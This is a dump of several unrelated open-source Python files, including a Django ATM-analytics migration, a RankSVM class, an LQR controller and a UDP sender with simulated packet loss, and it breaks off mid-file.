+{"seq_id":"72173974648","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport atm_analytics.analytics.models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('authentication', '0001_initial'),\n        ('companies', '0001_initial'),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='AtmCase',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('hardware', models.CharField(help_text=b'Hardware', max_length=1, choices=[(b'0', b'Diebold'), (b'1', b'Wincor Nixdorf'), (b'2', b'NCR'), (b'3', b'Triton')])),\n                ('software', models.CharField(help_text=b'Software', max_length=1, choices=[(b'0', b'Agilis'), (b'1', b'APTRA'), (b'2', b'Procash/probase'), (b'3', b'JAM Dynasty'), (b'4', b'Kal'), (b'5', b'Otro XFS')])),\n                ('operating_system', models.CharField(help_text=b'Sistema Operativo', max_length=1, choices=[(b'0', b'Windows XP'), (b'1', b'Windows 7'), (b'2', b'Windows 8')])),\n                ('errors_manual', models.FileField(null=True, upload_to=atm_analytics.analytics.models.get_atm_errors_manual_attachment_path, blank=True)),\n                ('microsoft_event_viewer', models.FileField(null=True, upload_to=atm_analytics.analytics.models.get_atm_microsoft_event_viewer_attachment_path, blank=True)),\n                ('cash_replacement_schedule', models.FileField(null=True, upload_to=\"media\", blank=True)),\n                ('person_name_journal_virtual', models.CharField(help_text=b'Nombre de la persona que le facilito el Journal virtual', max_length=255)),\n                ('other_log', models.FileField(help_text=b'\\xc2\\xbfOtro tipo de log?', null=True, upload_to=atm_analytics.analytics.models.get_atm_other_log_attachment_path, blank=True)),\n                ('atm_location', models.ManyToManyField(help_text=b'Localizaci\\xc3\\xb3n del ATM', related_name='locations', to='companies.CompanyAtmLocation')),\n            ],\n            options={\n                'verbose_name': 'ATM',\n                'verbose_name_plural': 'ATMs',\n            },\n        ),\n        migrations.CreateModel(\n            name='AtmError',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('identifier', models.CharField(help_text=b'Identificador \\xc3\\xbanico del error', unique=True, max_length=255, verbose_name=b'Identificador', db_index=True)),\n                ('description', models.CharField(help_text=b'Descripci\\xc3\\xb3n del error', max_length=255, verbose_name=b'Descripci\\xc3\\xb3n')),\n                ('hardware', models.CharField(help_text=b'Hardware del ATM', max_length=1, verbose_name=b'Hardware', choices=[(b'0', b'Diebold'), (b'1', b'Wincor Nixdorf'), (b'2', b'NCR'), (b'3', b'Triton')])),\n                ('software', models.CharField(help_text=b'Software del ATM', max_length=1, verbose_name=b'Software', choices=[(b'0', b'Agilis'), (b'1', b'APTRA'), (b'2', b'Procash/probase'), (b'3', b'JAM Dynasty'), (b'4', b'Kal'), (b'5', b'Otro XFS')])),\n                ('operating_system', models.CharField(help_text=b'Sistema Operativo del ATM', max_length=1, verbose_name=b'Sistema Operativo', choices=[(b'0', b'Windows XP'), (b'1', b'Windows 7'), (b'2', b'Windows 8')])),\n                ('fault', models.CharField(help_text=b'\\xc2\\xbfQui\\xc3\\xa9n tiene la culpa?', max_length=1, verbose_name=b'Culpa', choices=[(b'0', b'usuario'), (b'1', b'banco'), (b'1', b'transvalores'), (b'3', b'anonimo')])),\n                ('color', models.CharField(help_text=b'Color del error', max_length=1, verbose_name=b'Color', choices=[(b'0', b'verde'), (b'1', b'rojo'), (b'2', b'naranja')])),\n            ],\n            options={\n                'verbose_name': 'Error de ATM',\n                'verbose_name_plural': 'Errores de ATMs',\n            },\n        ),\n        migrations.CreateModel(\n            name='AtmJournal',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('file', models.FileField(upload_to=atm_analytics.analytics.models.get_atm_journal_virtual_attachment_path)),\n                ('atm', models.ForeignKey(related_name='journals', to='analytics.AtmCase')),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Case',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('number', models.IntegerField(help_text=b'N\\xc3\\xbamero de caso', db_index=True)),\n                ('picture', models.ImageField(null=True, upload_to=atm_analytics.analytics.models.get_case_picture_path, blank=True)),\n                ('name', models.CharField(help_text=b'Nombre del caso', max_length=255)),\n                ('priority', models.CharField(help_text=b'Importancia del caso', max_length=1, choices=[(b'0', b'bajo'), (b'1', b'medio'), (b'2', b'alto')])),\n                ('status', models.CharField(default=b'0', help_text=b'Estado del caso', max_length=1, choices=[(b'0', b'abierto'), (b'1', b'cerrado')])),\n                ('created_date', models.DateField(help_text=b'Fecha de creaci\\xc3\\xb3n del caso', null=True, blank=True)),\n                ('missing_amount', models.DecimalField(help_text=b'Monto faltante estimado', max_digits=19, decimal_places=2)),\n                ('description', models.TextField(help_text=b'Breve descripci\\xc3\\xb3n extra del caso', null=True, blank=True)),\n                ('analyst', models.ForeignKey(related_name='analyst_cases', to='authentication.UserDashboard')),\n                ('bank', models.ForeignKey(related_name='bank_cases', to='companies.Bank', help_text=b'Banco')),\n            ],\n            options={\n                'verbose_name': 'Caso',\n            },\n        ),\n        migrations.AddField(\n            model_name='atmcase',\n            name='case',\n            field=models.ForeignKey(related_name='atms', to='analytics.Case'),\n        ),\n    ]\n","repo_name":"ifreddyrondon/atm-analytics","sub_path":"atm_analytics/analytics/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":6123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73911949369","text":"from dotenv import load_dotenv\nfrom fastapi import FastAPI\nfrom tweepy import StreamResponse\nfrom tweepy.models import Status\n\nfrom api_requests.tweet_requests import SearchBuzzItemBody, StartStreamItemBody\nfrom models.tweet import Tweet\n\napp = FastAPI()\n\nload_dotenv()\n\nfrom controllers import TwitterController\n\ntwitter_controller = TwitterController()\n\n@app.get(\"/\")\ndef root():\n    return \"Hello World!\"\n\n\n@app.post(\"/stream\")\ndef start_stream(body: StartStreamItemBody):\n\n    def on_response(response: StreamResponse):\n        twitter_controller.did_find_buzz_tweet(response.data)\n\n\n    twitter_controller.on_response_tweet = on_response\n    try:        \n        twitter_controller.start_listening_word(body.word)\n    except Exception as err:\n        print(err)\n    return \"Succeed!\"\n\n\n@app.post(\"/search/buzz\")\ndef search_buzz(body: SearchBuzzItemBody):\n    results = twitter_controller.search_buzz_tweets(body.word)    \n    return {\n        \"tweets\": results\n    }","repo_name":"fummicc1/TwitterApi","sub_path":"twitter_api_server/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"32446311339","text":"from itertools import chain\n\nfrom django.apps import apps\nfrom django.contrib.contenttypes.fields import GenericRelation, GenericForeignKey\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.db import models\nfrom django.db.models.base import ModelBase\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom workflow.contrib.permissions import VOUCHER_PERMISSIONS\n\n\nclass VoucherBase(ModelBase):\n    def __new__(mcs, name, bases, attrs):\n        super_new = super().__new__\n        if 'post_approval' not in attrs:\n            raise ValueError(_(\"单据没定义post_approval函数\"))\n        parents = [b for b in bases if isinstance(b, VoucherBase)]\n        if not parents:\n            return super_new(mcs, name, bases, attrs)\n\n        mod = attrs.get('__module__')\n        attr_meta = attrs.setdefault('Meta', type('Meta', (), {}))\n        abstract = getattr(attr_meta, 'abstract', False)\n\n        app_config = apps.get_containing_app_config(mod)\n        app_label = None\n        if getattr(attr_meta, 'app_label', None) is None:\n            if app_config is None:\n                if not abstract:\n                    raise RuntimeError(\n                        \"Model class %s.%s doesn't declare an explicit \"\n                        \"app_label and isn't in an application in \"\n                        \"INSTALLED_APPS.\" % (module, name)\n                    )\n            else:\n                app_label = app_config.label\n\n        if not abstract:\n            d = {\"app_label\": app_label,\n                 \"verbose_name\": getattr(attr_meta, \"verbose_name\", name),\n                 \"class\": name.lower()}\n\n            origin_permissions = getattr(attr_meta, \"permissions\", ())\n            translated_perms = ()\n            for codename, p_name in VOUCHER_PERMISSIONS:\n                translated_perms += ((codename % d, p_name % d),)\n            setattr(attr_meta, \"permissions\", tuple(chain(origin_permissions, translated_perms)))\n\n        branches = attrs.setdefault(\"branches\", [])\n        for branch in branches:\n            assert issubclass(branch, models.Model)\n            model_name = branch._meta.model_name\n            attrs[model_name] = GenericRelation(branch,\n                                                object_id_field=\"source_id\",\n                                                content_type_field=\"source_type\",\n                                                related_query_name=name.lower())\n\n            source_type = models.ForeignKey(ContentType, default=None, null=True, blank=True, on_delete=models.CASCADE)\n            source_id = models.PositiveIntegerField(default=None, null=True, blank=True)\n            source_obj = GenericForeignKey(ct_field=\"source_type\", fk_field=\"source_id\")\n\n            source_type.contribute_to_class(branch, name=\"source_type\")\n            source_id.contribute_to_class(branch, name=\"source_id\")\n            source_obj.contribute_to_class(branch, name=\"source_obj\")\n\n        new_class = super_new(mcs, name, bases, attrs)\n\n        return new_class\n\n\nclass VoucherInlineBase(ModelBase):\n    def __new__(mcs, name, bases, attrs):\n        super_new = super().__new__\n        if 'parent_voucher' not in attrs:\n            raise ValueError(_(\"没指定父级单据\"))\n        parents = [b for b in bases if isinstance(b, VoucherInlineBase)]\n        if not parents:\n            return super_new(mcs, name, bases, attrs)\n\n        model = attrs.pop('parent_voucher')\n        mod = __import__('workflow.models', globals(), locals())\n\n        if not issubclass(model, mod.models.Voucher):\n            raise ValueError(_(\"错误的父级单据类型\"))\n\n        attrs[\"parent_voucher\"] = models.ForeignKey(model,\n                                                    verbose_name=_(\"单据\"),\n                                                    on_delete=models.CASCADE,\n                                                    related_name=name.lower())\n        attr_meta = attrs.setdefault('Meta', type('Meta', (), {}))\n        branches = attrs.setdefault(\"branches\", [])\n        for branch in branches:\n            assert issubclass(branch, models.Model)\n            model_name = branch._meta.model_name\n            attrs[model_name] = GenericRelation(branch,\n                                                object_id_field=\"source_id\",\n                                                content_type_field=\"source_type\",\n                                                related_query_name=name.lower())\n\n            source_type = models.ForeignKey(ContentType, default=None, null=True, blank=True, on_delete=models.CASCADE, editable=False)\n            source_id = models.PositiveIntegerField(default=None, null=True, blank=True, editable=False)\n            source_obj = GenericForeignKey(ct_field=\"source_type\", fk_field=\"source_id\")\n\n            source_type.contribute_to_class(branch, name=\"source_type\")\n            source_id.contribute_to_class(branch, name=\"source_id\")\n            source_obj.contribute_to_class(branch, name=\"source_obj\")\n        new_class = super_new(mcs, name, bases, attrs)\n        return new_class\n\n\n'''\nclass BranchBase(ModelBase):\n    def __new__(mcs, name, bases, attrs):\n        super_new = super().__new__\n        parents = [b for b in bases if isinstance(b, VoucherInlineBase)]\n        if not parents:\n            return super_new(mcs, name, bases, attrs)\n        attrs['source_type'] = models.ForeignKey(ContentType, null=True, default=None, blank=True)\n        attrs['source_id'] = models.PositiveIntegerField(null=True, default=None, blank=True)\n        return super_new(mcs, name, bases, attrs)\n'''\n","repo_name":"Pandaaaa906/django_workflow","sub_path":"workflow/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":5606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"74619593527","text":"\"\"\"\nImplementation of pairwise ranking using scikit-learn LinearSVC\n\nReference: \"Large Margin Rank Boundaries for Ordinal Regression\", R. Herbrich,\n    T. Graepel, K. Obermayer.\n\nAuthors: Fabian Pedregosa <fabian@fseoane.net>\n         Alexandre Gramfort <alexandre.gramfort@inria.fr>\n\"\"\"\n\nimport itertools\nimport numpy as np\nimport os\nimport pickle\nfrom sklearn import svm\n\n\n\n\n\nclass RankSVM(svm.LinearSVC):\n    @staticmethod\n    def transform_pairwise(X, y):\n\n        X_new = []\n        y_new = []\n        y = np.asarray(y)\n        if y.ndim == 1:\n            y = np.c_[y, np.ones(y.shape[0])]\n        comb = itertools.combinations(range(X.shape[0]), 2)\n        for k, (i, j) in enumerate(comb):\n            if y[i, 0] == y[j, 0] or y[i, 1] != y[j, 1]:\n                # skip if same target or different group\n                continue\n            X_new.append(X[i] - X[j])\n            y_new.append(np.sign(y[i, 0] - y[j, 0]))\n            # output balanced classes\n            if y_new[-1] != (-1) ** k:\n                y_new[-1] = - y_new[-1]\n                X_new[-1] = - X_new[-1]\n        return np.asarray(X_new), np.asarray(y_new).ravel()\n\n\n    def __init__(self,C):\n        super(RankSVM,self).__init__(C=C,loss=\"hinge\")\n    def fit(self, X, y,fold,C):\n\n        models_folder = \"svm_rank_own_models/\" + str(fold) + \"/\"\n        if not os.path.exists(models_folder):\n            os.makedirs(models_folder)\n        model_file = models_folder + \"model_\" + str(C) + \".pkl\"\n        super(RankSVM, self).fit(X, y)\n        with open(model_file,'wb') as model:\n            pickle.dump(model,self)\n        return model_file\n\n    def predict(self, X,fold,C,model_file):\n\n        predictions_folder = \"svm_rank_own_score/\" + str(fold) + \"/\"\n        if not os.path.exists(predictions_folder):\n            os.makedirs(predictions_folder)\n        predictions_file = predictions_folder + os.path.basename(model_file)\n\n        result = np.dot(X, self.coef_.T)\n        np.savetxt(predictions_file,result)\n        return predictions_file\n\n\n    def predict_test(self, X,fold,C,model_file):\n\n        predictions_folder = \"svm_rank_own_score/\" + str(fold) + \"/\"\n        if not os.path.exists(predictions_folder):\n            os.makedirs(predictions_folder)\n        predictions_file = predictions_folder + os.path.basename(model_file)\n\n        result = np.dot(X, self.coef_.T)\n        np.savetxt(predictions_file,result)\n        return predictions_file\n","repo_name":"greggoren/auto_seo","sub_path":"CrossValidationUtils/rank_svm_implementation.py","file_name":"rank_svm_implementation.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"7307446219","text":"import json\r\nimport logging    \r\n\r\nlogger = logging.getLogger()\r\nlogger.setLevel(logging.INFO)  # You can set this to be DEBUG, INFO, ERROR as needed\r\n\r\ndef log_format(func):\r\n    def wrapper(*args, **kwargs):\r\n        formatter = logging.Formatter('[%(levelname)s]\\t%(asctime)s\\t%(request_id)s\\tPID:%(taskId)s  STATE:%(state)s  MESSAGE:%(message)s','%Y-%m-%dT%H:%M:%S')\r\n        for handler in logger.handlers:\r\n            logger.removeHandler(handler)\r\n        ch = logging.StreamHandler()\r\n        ch.setFormatter(formatter)\r\n        logger.addHandler(ch)\r\n        logger.info = add_extra(logger.info)  # Override logger.info with the decorated version\r\n        func(*args, **kwargs)\r\n    return wrapper\r\n\r\ndef add_extra(logger_info):\r\n    def wrapper(msg, *args, **kwargs):\r\n        extra = kwargs.get('extra', {})\r\n        request_id = extra.get('request_id')\r\n        taskId = 1222333\r\n        state = \"RUNNING\"\r\n        updated_extra = {'request_id': request_id, 'taskId': taskId, 'state': state}\r\n        updated_extra.update(extra)  # Merge existing extra with updated_extra\r\n        kwargs['extra'] = updated_extra\r\n        return logger_info(msg, *args, **kwargs)\r\n    return wrapper\r\n\r\n@log_format\r\ndef lambda_handler(event, context):\r\n    request_id = context.aws_request_id\r\n\r\n    logger.info('This is an info log message')\r\n    logger.info('hi')\r\n    logger.error('danger danger')\r\n","repo_name":"Dandrian21/lambda4noobs","sub_path":"tetetetets.py","file_name":"tetetetets.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"40904346414","text":"import os\nimport pandas as pd\n\ncountry=open(\"country.txt\").readline().strip()\nsamples_files_n=[filename for filename in os.listdir(f'{country}/tables_gisaid') if filename.startswith(\"samples_\")]\n\ndates = []\nfor sample_n in samples_files_n:\n    dates += pd.read_pickle(f\"{country}/tables_gisaid/{sample_n}\").columns.tolist()\n\ndates = list(set(dates))\nsamples = pd.DataFrame(0, index=['n_samples'], columns=dates)\nfor sample_n in samples_files_n:\n    table = pd.read_pickle(f\"{country}/tables_gisaid/{sample_n}\")\n    samples[table.columns.tolist()] = samples[table.columns.tolist()].add(table)\n\nidx = pd.to_datetime(samples.columns, errors='coerce', format='%m_%d_%Y').argsort()\nsamples = samples.iloc[:, idx]\nsamples.to_pickle(f\"{country}/tables_gisaid/samples.pickle\")","repo_name":"prodromospapa/Analysis-of-SARS-CoV-2-Genome","sub_path":"merge_samples.py","file_name":"merge_samples.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"39239532314","text":"from scipy.linalg import solve_continuous_are, inv\nimport numpy as np\nfrom .controller_base import Controller\nimport torch\n\nclass LQR(Controller):\n    def __init__(self, A: np.ndarray, B: np.ndarray, Q: np.ndarray, R: np.ndarray):\n        self.update_gain(A, B, Q, R)\n        self.ref = 0\n        self.control_lo = None\n        self.control_up = None\n\n    def update_gain(self, A: np.ndarray, B: np.ndarray, Q: np.ndarray, R: np.ndarray):\n        P = solve_continuous_are(A, B, Q, R)\n        self.K = inv(R) @ (B.T @ P)\n\n    def update(self, feedback_value: np.ndarray, current_time=None) -> np.ndarray:\n        cin = -self.K @ (feedback_value - self.ref)\n        if self.control_lo and self.control_up:\n            for i in range(len(cin)):\n                cin[i] = np.clip(cin[i], self.control_lo, self.control_up)\n        return cin\n\n    def update_torch(self, feedback_value: np.ndarray, current_time=None) -> torch.Tensor:\n        if not torch.is_tensor(self.K):\n            self.K = torch.from_numpy(self.K)\n        if not torch.is_tensor(self.ref):\n            self.ref = torch.from_numpy(self.ref)\n\n\n        cin = -self.K.float() @ (feedback_value.float() - self.ref.float())\n        cin = torch.tensor(cin, dtype=torch.float32)  # transfer to PyTorch tensor\n        if self.control_lo and self.control_up:\n            for i in range(len(cin)):\n                cin[i] = torch.clamp(cin[i], torch.tensor(self.control_lo), torch.tensor(self.control_up))\n        return cin\n\n    def set_control_limit(self, control_lo: np.ndarray, control_up: np.ndarray):\n        self.control_lo = control_lo\n        self.control_up = control_up\n\n    def set_reference(self, ref: np.ndarray):\n        self.ref = ref\n","repo_name":"ShixiongJiang/DAC_Adversarial_Attack","sub_path":"utils/controllers/LQR.py","file_name":"LQR.py","file_ext":"py","file_size_in_byte":1705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73795758968","text":"from __future__ import absolute_import\n\nfrom mock import MagicMock, patch\n\nfrom sentry.testutils.cases import RuleTestCase\nfrom sentry.rules.actions.notify_event_service import NotifyEventServiceAction\n\n\nclass NotifyEventServiceActionTest(RuleTestCase):\n    rule_cls = NotifyEventServiceAction\n\n    def test_applies_correctly(self):\n        event = self.get_event()\n\n        plugin = MagicMock()\n        plugin.is_enabled.return_value = True\n        plugin.should_notify.return_value = True\n\n        rule = self.get_rule({\n            'service': 'mail',\n        })\n\n        with patch('sentry.plugins.plugins.get') as get_plugin:\n            get_plugin.return_value = plugin\n\n            results = list(rule.after(event=event, state=self.get_state()))\n\n        assert len(results) is 1\n        assert plugin.should_notify.call_count is 1\n        assert results[0].callback is plugin.rule_notify\n","repo_name":"NetEaseGame/Sentry","sub_path":"tests/sentry/rules/actions/test_notify_event_service.py","file_name":"test_notify_event_service.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"77"}
+{"seq_id":"44010535143","text":"# python3 sender.py receiver_host_ip receiver_port file.pdf MWS MSS gamma\n#          pDrop pDuplicate pCorrupt pOrder maxOrder pDelay maxDelay seed\n# python3 sender.py localhost 2333 test0.pdf 512 512 4 0 0 0 0 0 0.2 100 0\n\nimport socket, argparse, random, threading, time, os\nfrom scp import ScpPackage, ScpLogger, ScpMath, HEADER_SIZE\n\n\n########################## RTTEstimator Class ##########################\nclass RTTEstimator():\n    def __init__(self, gamma):\n        # varibles for calculating timeout\n        self.alpha = 0.125\n        self.beta = 0.25\n        self.gamma = gamma\n        self.estimate_interval = 5 # estimate every 10 packages\n        self.sample_start = 0\n        self.sample_end = 0\n        self.sampleRTT = 0\n        self.EstimatedRTT = 0.5\n        self.DevRTT = 0\n        self.timeout = self.EstimatedRTT\n        # other varibles\n        self.estimating = False # whether is estimating timeout or not\n        self.count = 0\n        self.seq = bytes([0, 0, 0, 0])\n\n\n    def monitor_sender_package(self, seq):\n        # insert before send package\n        if (not self.estimating):\n            if (self.count >= self.estimate_interval):\n                # start estimate\n                self.estimating = True\n                self.count = 0\n                self.sample_start = time.time()\n                self.seq = seq\n            else:\n                self.count += 1\n\n    def monitor_receiver_package(self, ack):\n        # insert before receive package\n        if (self.estimating):\n            if (ack == self.seq):\n                # update timeout and finish estimate procedure\n                self.sample_end = time.time()\n                self.estimating = False\n                self.get_sampleRTT()\n                # print(\"sampleRTT =\", self.sampleRTT)\n                self.get_EstimatedRTT()\n                # print(\"EstimatedRTT =\", self.EstimatedRTT)\n                self.get_DevRTT()\n                # print(\"DevRTT =\", self.DevRTT)\n                self.get_timeout()\n                print(\"timeout updated to:\", self.timeout)\n\n    def get_sampleRTT(self):\n        self.sampleRTT = self.sample_end - self.sample_start\n\n    def get_EstimatedRTT(self):\n        self.EstimatedRTT = (1 - self.alpha) * self.EstimatedRTT\\\n                          + self.alpha * self.sampleRTT\n\n    def get_DevRTT(self):\n        self.DevRTT = (1 - self.beta) * self.DevRTT\\\n                    + self.beta * abs(self.sampleRTT - self.EstimatedRTT)\n\n    def get_timeout(self):\n        self.timeout = self.EstimatedRTT + self.gamma * self.DevRTT\n\n\n\n############################# Sender Class #############################\nclass Sender():\n    def __init__(self, args):\n        # get and parse the args\n        self.args = args\n        self.receiver_addr = (self.args.receiver_host_ip,\\\n                self.args.receiver_port)\n        # max package in a window\n        self.base_seq = 0\n        self.next_seq = 0\n        self.sender_buffer = {}\n        self.estimator = RTTEstimator(self.args.gamma)\n        self.duplicated_ack = 0\n        self.sender_timer = threading.Timer(\\\n                self.estimator.timeout, self.retransmit_buffer)\n        # for reorder send and delay send\n        self.reordered_pkg = ScpPackage()\n        self.delayed_pkg = ScpPackage()\n        # 0 means nothing in the queue\n        self.reorder_send_countdown = 0\n        self.delay_send_time = 0\n        # create scpPackage abstraction\n        self.sender_pkg = ScpPackage()\n        self.receiver_pkg = ScpPackage()\n        # create the socket\n        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        # create the logger\n        self.logger = ScpLogger('Sender_log.txt')\n        # for statistics\n        self.timeout_rxt_count = 0\n        self.fast_rxt_count = 0\n        self.finish_rxt_count = 0\n        self.send_without_pld = 0\n        # initialize the PLD module\n        random.seed(self.args.seed)\n        print(\"Sender is ready\")\n\n\n    def send_package(self):\n        sent_bytes = self.sock.sendto(\\\n                self.sender_pkg.package, self.receiver_addr)\n        self.send_without_pld += 1\n        self.logger.log('snd', self.sender_pkg)\n        return sent_bytes\n\n\n    def PLD_send_package(self):\n        self.estimator.monitor_sender_package(self.sender_pkg.sequence)\n        sent_bytes = 0\n\n        # check for reorder send\n        if (self.reorder_send_countdown):\n            # something has been reorderd need to be sent\n            self.reorder_send_countdown -= 1\n            if (self.reorder_send_countdown == 0):\n                # now we can send\n                sent_bytes = self.sock.sendto(\\\n                        self.reordered_pkg.package, self.receiver_addr)\n                self.logger.log('snd/rord', self.reordered_pkg)\n\n        # check for delayed send\n        if (self.delay_send_time):\n            # something has been reorderd need to be sent\n            now = time.time()\n            if (now >= self.delay_send_time):\n                # now we can send\n                sent_bytes = self.sock.sendto(\\\n                        self.delayed_pkg.package, self.receiver_addr)\n                self.logger.log('snd/dely', self.delayed_pkg)\n                self.delay_send_time = 0 # clear the flag\n\n        # PLD module\n        if (random.random() < self.args.pDrop):\n            self.logger.log('drop', self.sender_pkg)\n        elif (random.random() < self.args.pDuplicate):\n            sent_bytes_1 = self.sock.sendto(\\\n                    self.sender_pkg.package, self.receiver_addr)\n            self.logger.log('snd', self.sender_pkg)\n            sent_bytes_2 = self.sock.sendto(\\\n                    self.sender_pkg.package, self.receiver_addr)\n            sent_bytes = sent_bytes_1 + sent_bytes_2\n            self.logger.log('snd/DA', self.sender_pkg)\n        elif (random.random() < self.args.pCorrupt):\n            self.sender_pkg.flip_a_bit()\n            sent_bytes = self.sock.sendto(\\\n                    self.sender_pkg.package, self.receiver_addr)\n            self.logger.log('snd/corr', self.sender_pkg)\n            self.sender_pkg.flip_a_bit()\n        elif (self.reorder_send_countdown == 0\\\n                and random.random() < self.args.pOrder):\n            self.reordered_pkg.extract_package(self.sender_pkg.package)\n            self.reorder_send_countdown = self.args.maxOrder\n        elif (self.delay_send_time == 0\\\n                and random.random() < self.args.pDelay):\n            self.delayed_pkg.extract_package(self.sender_pkg.package)\n            self.delay_send_time = time.time()\\\n                    + self.args.maxDelay / 1000\n        else:\n            sent_bytes = self.sock.sendto(\\\n                    self.sender_pkg.package, self.receiver_addr)\n            self.logger.log('snd', self.sender_pkg)\n        return sent_bytes\n\n\n    def receive_package(self):\n        package, receiver_address = self.sock.recvfrom(HEADER_SIZE)\n        self.receiver_pkg.extract_package(package)\n        self.estimator.monitor_receiver_package(\\\n                self.receiver_pkg.acknowledge)\n        return receiver_address\n\n\n    def restart_timer(self):\n        self.sender_timer.cancel()\n        self.sender_timer = threading.Timer(\\\n                self.estimator.timeout, self.retransmit_buffer) \n        self.sender_timer.start()\n\n\n    def send(self, data):\n        # window is not full: send one package and return\n        # window is full: receive and parse ACK\n        while(True):\n            # event 1: send packages\n            if (self.next_seq < self.base_seq + self.args.MWS):\n                # window is not full, send packages\n                # reset timer at for the first package of a window\n                if (self.next_seq == self.base_seq):\n                    self.restart_timer()\n                    print(\"restart timer for new window\", self.base_seq)\n                # send package\n                self.sender_pkg.sequence =\\\n                        ScpMath.int_to_bytes(self.next_seq, 4)\n                self.sender_pkg.payload = data\n                self.sender_pkg.make_package()\n                self.PLD_send_package()\n                # add to buffer\n                self.sender_buffer[self.next_seq] = data\n                # update next sequence number\n                self.next_seq += len(data)\n                # continue read and send till window is full\n                return\n            # come there when window is full\n            self.receive_ack()\n\n\n    # event 2: time out\n    def retransmit_buffer(self, reason='timeout'):\n        buffered_package = sorted(list(self.sender_buffer.keys()))\n        print(\"retransmit on buffer\", buffered_package)\n        sent_bytes = 0\n        for seq in buffered_package:\n            # send package\n            self.sender_pkg.sequence =\\\n                    ScpMath.int_to_bytes(seq, 4)\n            self.sender_pkg.payload = self.sender_buffer[seq]\n            self.sender_pkg.make_package()\n            sent_bytes = self.sock.sendto(\\\n                self.sender_pkg.package, self.receiver_addr)\n            if (reason == 'timeout'):\n                self.timeout_rxt_count += 1\n            elif (reason == 'fast'):\n                self.fast_rxt_count += 1\n            elif (reason == 'finish'):\n                self.finish_rxt_count += 1\n            else:\n                pass\n            self.logger.log('snd/RXT', self.sender_pkg)\n        self.restart_timer()\n        return sent_bytes\n\n    # event 3: receive packages\n    def receive_ack(self):\n        self.receive_package()\n        ack_value =\\\n                ScpMath.bytes_to_int(self.receiver_pkg.acknowledge)\n        if (ack_value >= self.base_seq and ack_value != 4294967295):\n            # new packages has been acked\n            self.logger.log('rsv', self.receiver_pkg)\n            # update base sequence number\n            self.base_seq = ack_value + len(self.sender_pkg.payload)\n            # remove acked data from buffer\n            buffered_package = sorted(list(self.sender_buffer.keys()))\n            for seq in buffered_package:\n                if (seq < self.base_seq):\n                    del self.sender_buffer[seq]\n            # reset timer unless buffer is empty\n            if (len(self.sender_buffer)):\n                self.restart_timer()\n                print(\"restart timer for new base\", self.base_seq)\n            # reset duplicated ack counter if valid ack received\n            self.duplicated_ack = 0\n        else:\n            # duplicated packages has been acked\n            self.logger.log('rsv/DA', self.receiver_pkg)\n            # increse counter for fast retransmit\n            self.duplicated_ack += 1\n            # fast retransmit and reset counter\n            if (self.duplicated_ack >= 3):\n                self.retransmit_buffer(reason='fast')\n                self.duplicated_ack = 0\n            \n\n    def connect(self):\n        while(True):\n            # send syn and wait\n            self.sender_pkg.syn = True\n            self.sender_pkg.make_package()\n            self.send_package()\n            self.receive_package()\n            # receive syn & ack\n            if (self.receiver_pkg.syn and self.receiver_pkg.ack):\n                self.logger.log('rsv', self.receiver_pkg)\n                # send ack\n                self.sender_pkg.syn = False\n                self.sender_pkg.ack = True\n                self.sender_pkg.make_package()\n                self.send_package()\n                # connection estabilished\n                self.sender_pkg.syn = False\n                self.sender_pkg.ack = False\n                print(\"Connection estabilished!\")\n                return\n\n\n    def finish(self):\n        # clean the buffer\n        print(\"Finishing up!\")\n        while (self.sender_buffer):\n            self.retransmit_buffer(reason='finish')\n            self.receive_ack()\n        self.sender_timer.cancel()\n        while(True):\n            # send fin\n            self.sender_pkg.fin = True\n            self.sender_pkg.payload = bytes()\n            self.sender_pkg.make_package()\n            self.send_package()\n            # fin_wait_1 state\n            print(\"enter fin wait 1 state\")\n            self.receive_package()\n            self.logger.log('rsv', self.receiver_pkg)\n            if (self.receiver_pkg.ack):\n                # fin_wait_2 state\n                print(\"enter fin wait 2 state\")\n                break\n        while(True):\n            self.receive_package()\n            if (self.receiver_pkg.fin):\n                self.logger.log('rsv', self.receiver_pkg)\n                # time_wait_state\n                print(\"enter time wait state\")\n                self.sender_pkg.fin = False\n                self.sender_pkg.ack = True\n                self.sender_pkg.make_package()\n                self.send_package()\n                # connection terminated\n                self.sock.close()\n                self.write_statistic()\n                print(\"Connection terminated!\")\n                return\n\n\n    def write_statistic(self):\n        statistic = ''\n        horizontal_line = '=' * 60 + '\\n'\n\n        size_title = 'Size of the file (in Bytes):'\n        size_count = os.path.getsize(self.args.file)\n        size_line = '{:52}{:>7}\\n'.format(size_title, size_count)\n        \n        all_title = 'Segments transmitted (including drop & RXT):'\n        all_count = 0\n        for keys in ['snd', 'drop', 'snd/corr', 